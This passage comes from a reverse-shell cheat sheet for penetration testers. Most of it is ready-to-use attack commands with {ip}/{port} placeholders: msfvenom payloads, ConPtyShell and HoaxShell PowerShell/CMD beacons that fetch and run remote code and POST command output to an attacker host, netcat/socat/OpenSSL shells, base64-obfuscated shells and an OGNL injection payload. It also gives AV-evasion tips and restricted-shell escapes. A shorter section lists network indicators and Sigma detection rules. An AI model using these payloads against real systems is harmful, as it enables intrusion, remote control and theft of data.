| iOS Meterpreter (aarch64) | `msfvenom --platform apple_ios -p apple_ios/aarch64/meterpreter_reverse_tcp lhost={ip} lport={port} -f macho -o payload` |

### Staged vs Stageless

| Aspect | Staged (`shell/reverse_tcp`) | Stageless (`shell_reverse_tcp`) |
|--------|------|-----------|
| Payload size | Small stager | Full payload |
| Network traffic | Downloads stage 2 from handler | Single connection |
| Detection | Stager is small, harder to sig | Larger, easier to sig |
| Reliability | Requires handler for stage 2 | Self-contained |
| Use case | AV evasion, size constraints | Standalone, no handler dependency |
---
## 8. PowerShell ConPTY — Fully Interactive Windows

ConPtyShell leverages the Windows Pseudo Console (ConPty) API (Windows 10+/Server 2019 build 17763+) to provide a **fully interactive** reverse shell with proper terminal handling — arrow keys, tab completion, Ctrl+C, vim, etc.

### Method 1: Automatic Terminal Sizing

**Attacker**
```bash
stty raw -echo; (stty size; cat) | nc -lvnp {port}
```

**Victim (PowerShell)**
```powershell
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}
```

### Method 2: Manual Dimensions

**Attacker**
```bash
stty size   # note rows cols
nc -lvnp {port}
# After connection: Ctrl+Z, then: stty raw -echo; fg
```

**Victim**
```powershell
Invoke-ConPtyShell -RemoteIp {ip} -RemotePort {port} -Rows 24 -Cols 80
```

### Method 3: Upgrade Existing Shell
```powershell
Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80
```

### Dynamic Resize (within active session)
```powershell
$width=80; $height=24
$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height)
$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height)
```

> **Fallback**: On pre-build-17763 systems, ConPtyShell falls back to a basic netcat-like shell.
---
## 9. HoaxShell — HTTP(S) Beacon Shells

HoaxShell generates Windows reverse shell payloads that communicate over HTTP(S), simulating beacon-based C2. No raw TCP connections — uses standard web traffic.

### How It Works
1. Victim PowerShell/CMD polls attacker HTTP server for commands
2. Commands are retrieved via HTTP GET
3. Output is exfiltrated via HTTP POST
4. Session identification through custom HTTP headers

### Payload Types

**PowerShell IEX (HTTP)**
```powershell
$s='{ip}:{port}';$i='<session_id>';$p='http://';$v=IRM -UseBasicParsing -Uri $p$s/<id1> -Headers @{"Authorization"=$i};while ($true){$c=(IRM -UseBasicParsing -Uri $p$s/<id2> -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=IEX $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=IRM -Uri $p$s/<id3> -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}
```

**Windows CMD cURL (HTTP)**
```cmd
@echo off&cmd /V:ON /C "SET ip={ip}:{port}&&SET sid="Authorization: <session_id>"&&SET protocol=http://&&curl !protocol!!ip!/<id1> -H !sid! > NUL && for /L %i in (0) do (curl -s !protocol!!ip!/<id2> -H !sid! > !temp!\cmd.bat & type !temp!\cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!\cmd.bat > !tmp!\out.txt 2>&1) & curl !protocol!!ip!/<id3> -X POST -H !sid! --data-binary @!temp!\out.txt > NUL)) & timeout 1" > NUL
```

**PowerShell Outfile (file-based execution)**
Writes commands to disk before execution — reduces memory artifacts.

**Constrained Language Mode variants**
For restricted PowerShell environments (AppLocker, WDAC). Trades stdout accuracy for CLM compatibility.

**HTTPS variants**
- Self-signed: longer payload, includes certificate bypass logic
- Trusted cert: shorter, less detectable
- Ngrok/LocalTunnel tunneling: `-ng` / `-lt` flags

### Listener Setup
```bash
# Standard
sudo python3 hoaxshell.py -s {ip}

# With standard header (recommended — evades regex-based AV)
sudo python3 hoaxshell.py -s {ip} -i -H "Authorization"

# HTTPS with ngrok
sudo python3 hoaxshell.py -ng

# Constrained Language Mode
sudo python3 hoaxshell.py -s {ip} -cm

# Grab mode (reconnect existing sessions)
sudo python3 hoaxshell.py -s {ip} -g
```

### Limitations
- Interactive commands (raw `powershell.exe`, `cmd.exe` without `/c`) cause hang
- AMSI detects default payloads — requires external obfuscation
- Generated payloads are instance-specific (unless `-g` mode)
---
## 10. Shell Stabilization & TTY Upgrades

### Python PTY Spawn (most common)
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c "__import__('pty').spawn('/bin/bash')"
```

### Full Interactive Upgrade (Bash listener)
```bash
# 1. Spawn PTY on victim
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 2. Background the shell
Ctrl+Z

# 3. Note your terminal settings
echo $TERM && tput lines && tput cols

# 4. Set raw mode on attacker terminal
stty raw -echo

# 5. Foreground the shell
fg

# 6. Reset terminal
reset

# 7. Set environment
export SHELL=bash
export TERM=xterm-256color
stty rows <rows> columns <cols>
```

### Full Interactive Upgrade (Zsh listener)
```bash
Ctrl+Z
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <rows> columns <cols>
```

### Using script utility
```bash
/usr/bin/script -qc /bin/bash /dev/null
```

### Alternative PTY Spawns
```bash
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl -e 'print `/bin/bash`'
ruby -e 'exec "/bin/sh"'
lua -e 'os.execute("/bin/sh")'
```

### Escape from Restricted Environments
```
# vi/vim
:!bash
:set shell=/bin/bash:shell

# nmap (old versions with --interactive)
!sh

# mysql
! bash

# awk
awk 'BEGIN {system("/bin/sh")}'

# find
find / -exec /bin/sh \; -quit
```

### rlwrap (readline wrapper for dumb shells)
```bash
rlwrap nc -lvnp {port}
rlwrap -cAr nc -lvnp {port}
```

> **Why stabilize?** Raw reverse shells lack: job control (Ctrl+Z/fg), line editing (arrow keys), signal handling (Ctrl+C kills the shell not the command), tab completion, and proper terminal dimensions.
---
## 11. Encrypted & Obfuscated Shells

### OpenSSL (see Section 4)
Provides TLS encryption for shell traffic. Best option when socat is unavailable.

### Ncat TLS
```bash
# Listener
ncat --ssl -lvnp {port}

# Client
ncat --ssl {ip} {port} -e /bin/bash
```

### Socat TLS
```bash
# Generate cert
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
cat key.pem cert.pem > /tmp/combo.pem

# Listener
socat OPENSSL-LISTEN:{port},cert=/tmp/combo.pem,verify=0,reuseaddr,fork EXEC:/bin/bash

# Client
socat - OPENSSL:{ip}:{port},verify=0
```

### Base64 Encoding (bypass basic string matching)
```bash
echo 'bash -i >& /dev/tcp/{ip}/{port} 0>&1' | base64
# Then execute:
echo <base64_string> | base64 -d | bash
```

### PowerShell Base64
```bash
# Generate:
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://{ip}/shell.ps1")' | iconv -t UTF-16LE | base64 -w0

# Execute:
powershell -e <base64_string>
```

### OGNL Injection (Java expression language — Struts, Confluence)
```
(#a='echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg== | base64 -d | bash -i').(#b={'bash','-c',#a}).(#p=new java.lang.ProcessBuilder(#b)).(#process=#p.start())
```
---
## 12. Listeners Reference

| Listener | Command | Notes |
|----------|---------|-------|
| nc | `nc -lvnp {port}` | Standard, no encryption |
| nc (FreeBSD) | `nc -lvn {port}` | No `-p` flag |
| BusyBox nc | `busybox nc -lp {port}` | Minimal environments |
| ncat | `ncat -lvnp {port}` | Nmap's netcat |
| ncat (TLS) | `ncat --ssl -lvnp {port}` | Encrypted |
| rlwrap + nc | `rlwrap -cAr nc -lvnp {port}` | Readline support |
| rustcat | `rcat listen {port}` | Rust-based |
| OpenSSL | `openssl s_server -quiet -key key.pem -cert cert.pem -port {port}` | TLS encrypted |
| pwncat | `python3 -m pwncat -lp {port}` | Auto-PTY, post-exploit |
| pwncat (Windows) | `python3 -m pwncat -m windows -lp {port}` | Windows targets |
| ConPTY | `stty raw -echo; (stty size; cat) \| nc -lvnp {port}` | Full interactive Windows |
| socat | `socat -d -d TCP-LISTEN:{port} STDOUT` | Flexible, verbose |
| socat (TTY) | `socat -d -d file:\`tty\`,raw,echo=0 TCP-LISTEN:{port}` | Full TTY |
| powercat | `powercat -l -p {port}` | PowerShell listener |
| msfconsole | `msfconsole -q -x "use multi/handler; set payload {payload}; set lhost {ip}; set lport {port}; exploit"` | Metasploit handler |
---
## 13. Session Management Tools

### Platypus
Go-based multi-session reverse shell manager.

**Key capabilities:**
- Multiple simultaneous connections across different ports
- Full interactive shell (vim, htop, Ctrl+C)
- File upload/download with progress
- PTY upgrade via Python
- Upgrade plain shells to encrypted (Termite protocol)
- RESTful API + Web UI
- Reverse Shell as a Service (RaaS) — auto-generates payloads
- Port forwarding (local, remote, dynamic)

**Default ports:**
- 13337: Listener (dedup connections)
- 13338: Listener (allow duplicates)
- 7331: REST API + WebSocket

**Deploy:** `docker-compose up -d` or compile from source.

### tmux/screen Multiplexing
```bash
# Create named session for listener
tmux new -s shells
# Split panes for multiple listeners
Ctrl+B %   # vertical split
Ctrl+B "   # horizontal split
```
---
## 14. Post-Exploitation Frameworks

### pwncat-cs
**Install:** `pip install pwncat-cs`

**Connection patterns:**
```bash
# Listen for reverse shell
pwncat-cs -lp {port}

# Connect to bind shell
pwncat-cs {ip}:{port}

# SSH
pwncat-cs user@{ip}
pwncat-cs user:password@{ip}
pwncat-cs -i id_rsa user@{ip}:2222

# Windows target
pwncat-cs -m windows {ip} {port}
```

**Key features:**
- Automatic PTY spawning and terminal sync
- Modular architecture: `run`, `search`, `info`, `use` commands
- Automated privilege escalation enumeration
- Persistence installation/removal
- File upload/download with tracking
- Remote history disabling
- File modification reversion (cleanup)
- Platforms: Linux (full), Windows (alpha/.NET C2), BSD (limited)
- Requires Python 3.9+

### smbclient-ng (SMB Post-Exploitation)
**Install:** `pip install smbclient-ng`

**Usage:**
```bash
smbclient-ng -d {domain} -u {user} -p {password} --host {ip}
```

**Capabilities:**
- 40+ commands for remote/local file operations
- Share enumeration and ACL inspection
- Authentication: password, NTLM hash, Kerberos, AES keys
- Recursive directory transfers
- Tree visualization
---
## 15. Detection Opportunities

### Network-Level

| Indicator | Detection Method | ATT&CK |
|-----------|-----------------|--------|
| Raw TCP reverse shell | Unusual outbound connections from servers to non-standard ports | T1571 |
| `/dev/tcp` in bash | Process creation with `/dev/tcp` in command line | T1059.004 |
| mkfifo + nc pipe | Named pipe creation followed by nc execution | T1059.004 |
| OpenSSL s_client outbound | openssl process with `-connect` to external IP | T1573.002 |
| HoaxShell HTTP beacon | Periodic HTTP requests with custom Authorization headers, POST with command output | T1071.001 |
| Socat with pty | socat process with `exec` and `pty` arguments | T1059.004 |
| PowerShell TCP client | `System.Net.Sockets.TCPClient` in script block logs | T1059.001 |

### Host-Level

| Indicator | Detection Method |
|-----------|-----------------|
| Python pty.spawn | Process tree: python -> /bin/bash with pty |
| Script utility for PTY | `/usr/bin/script -qc /bin/bash /dev/null` in process args |
| Web shell file creation | New .php/.asp/.jsp/.aspx files in web root directories |
| Web shell execution | Web server process spawning system shell (httpd -> /bin/sh) |
| msfvenom payload | Unusual ELF/PE/Mach-O files with known MSF signatures |
| stty raw -echo | Terminal manipulation on listener side (attacker artifact) |
| ConPtyShell | IWR/IEX downloading ConPtyShell.ps1, CreatePseudoConsole API calls |

### Sigma Rule: Reverse Shell via /dev/tcp

```yaml
title: Bash Reverse Shell via /dev/tcp
id: a7b9c3d4-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects bash commands using /dev/tcp for reverse shell connections
logsource:
Category: process_creation
Product: linux
detection:
Selection:
    CommandLine|contains:
      - '/dev/tcp/'
      - '/dev/udp/'
Condition: selection
falsepositives:
  - Bash scripts that legitimately test port connectivity
  - Health check scripts using /dev/tcp for service monitoring
level: high
tags:
  - attack.execution
  - attack.t1059.004
  - attack.command_and_control
  - attack.t1071
```

### Sigma Rule: Web Shell Indicators

```yaml
title: Web Server Spawning System Shell
id: b8c9d4e5-6f7a-8b9c-0d1e-2f3a4b5c6d7e
status: experimental
description: Detects web server processes spawning command shells indicating web shell activity
logsource:
Category: process_creation
Product: linux
detection:
Selection_parent:
    ParentImage|endswith:
      - '/apache2'
      - '/httpd'
      - '/nginx'
      - '/php-fpm'
      - '/tomcat'
      - '/java'
Selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/cmd.exe'
      - '/powershell.exe'
Condition: selection_parent and selection_child
falsepositives:
  - CGI scripts that legitimately execute system commands
  - Server-side git hooks via web interfaces
level: critical
tags:
  - attack.persistence
  - attack.t1505.003
  - attack.execution
  - attack.t1059
```
---
## Quick Reference: Shell Selection Decision Tree

```
Need encrypted channel?
├── Yes → OpenSSL TLS-PSK (no cert artifacts) or ncat --ssl or socat OPENSSL
└── No
    ├── Target has Python? → python3 pty.spawn (best stability)
    ├── Target has nc -e? → nc {ip} {port} -e /bin/sh (simplest)
    ├── Target has nc (no -e)? → mkfifo + nc pipe
    ├── Target has curl only? → curl telnet:// transport
    ├── Target is Windows?
    │   ├── PowerShell available → ConPtyShell (full interactive) or TCP client
    │   ├── CMD only → HoaxShell CMD cURL variant
    │   └── .NET available → C# TCP reverse shell
    ├── Target is web server?
    │   ├── PHP → ivan-sincek reverse shell or fsockopen one-liner
    │   ├── JSP/Tomcat → Java Two-Way shell
    │   ├── ASP/.NET → ASPX web shell + msfvenom ASPX payload
    │   └── CGI → bash /dev/tcp
    └── Need to evade network monitoring?
        ├── HTTP blend-in → HoaxShell with standard headers
        ├── HTTPS → HoaxShell with trusted cert or ngrok tunnel
        └── DNS → Not covered here — see dnscat2, iodine
```
---
## Shells Available in revshells.com Generator

**Reverse Shells:** Bash -i, Bash 196, Bash read line, Bash 5, Bash udp, nc mkfifo, nc -e, nc.exe -e, BusyBox nc -e, nc -c, ncat -e, ncat.exe -e, ncat udp, curl, rustcat, C, C Windows, C# TCP Client, Haskell #1, Perl, Perl no sh, PHP PentestMonkey, PHP Ivan Sincek, PHP cmd, PHP cmd 2, PHP cmd small, PHP exec, PHP shell_exec, PHP system, PHP passthru, PHP backticks, PHP popen, PHP proc_open, Windows ConPty, PowerShell #1, PowerShell #2, PowerShell #3, PowerShell #4 (TLS), PowerShell #3 (Base64), Python #1, Python #2, Python3 #1, Python3 #2, Python3 shortest, Ruby #1, Ruby no sh, socat #1, socat #2 (TTY), sqlite3 nc mkfifo, node.js, node.js #2, Java #1, Java #2, Java #3, Java Web, Java Two Way, Javascript, Groovy, telnet, zsh, Lua #1, Lua #2, Golang, Vlang, Awk, Dart, Crystal (system), Crystal (code)

**Bind Shells:** Python3 Bind, PHP Bind, nc Bind, Perl Bind

**MSFVenom:** 20+ payloads covering Windows/Linux/macOS/Android/iOS across exe/elf/macho/jsp/aspx/war/php/apk formats

**HoaxShell:** Windows CMD cURL, PowerShell IEX, PowerShell IEX Constr Lang Mode, PowerShell Outfile, PowerShell Outfile Constr Lang Mode, all with HTTP and HTTPS variants

**Supported shells:** sh, /bin/sh, bash, /bin/bash, cmd, powershell, pwsh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, mksh, dash

**Encoding options:** None, URL Encode, Double URL Encode, Base64
---
*This document is a training reference for authorized security testing. All techniques require explicit written authorization before use against any target system. Unauthorized access to computer systems is illegal under CFAA (18 U.S.C. 1030), Computer Misuse Act 1990, and equivalent legislation worldwide.*
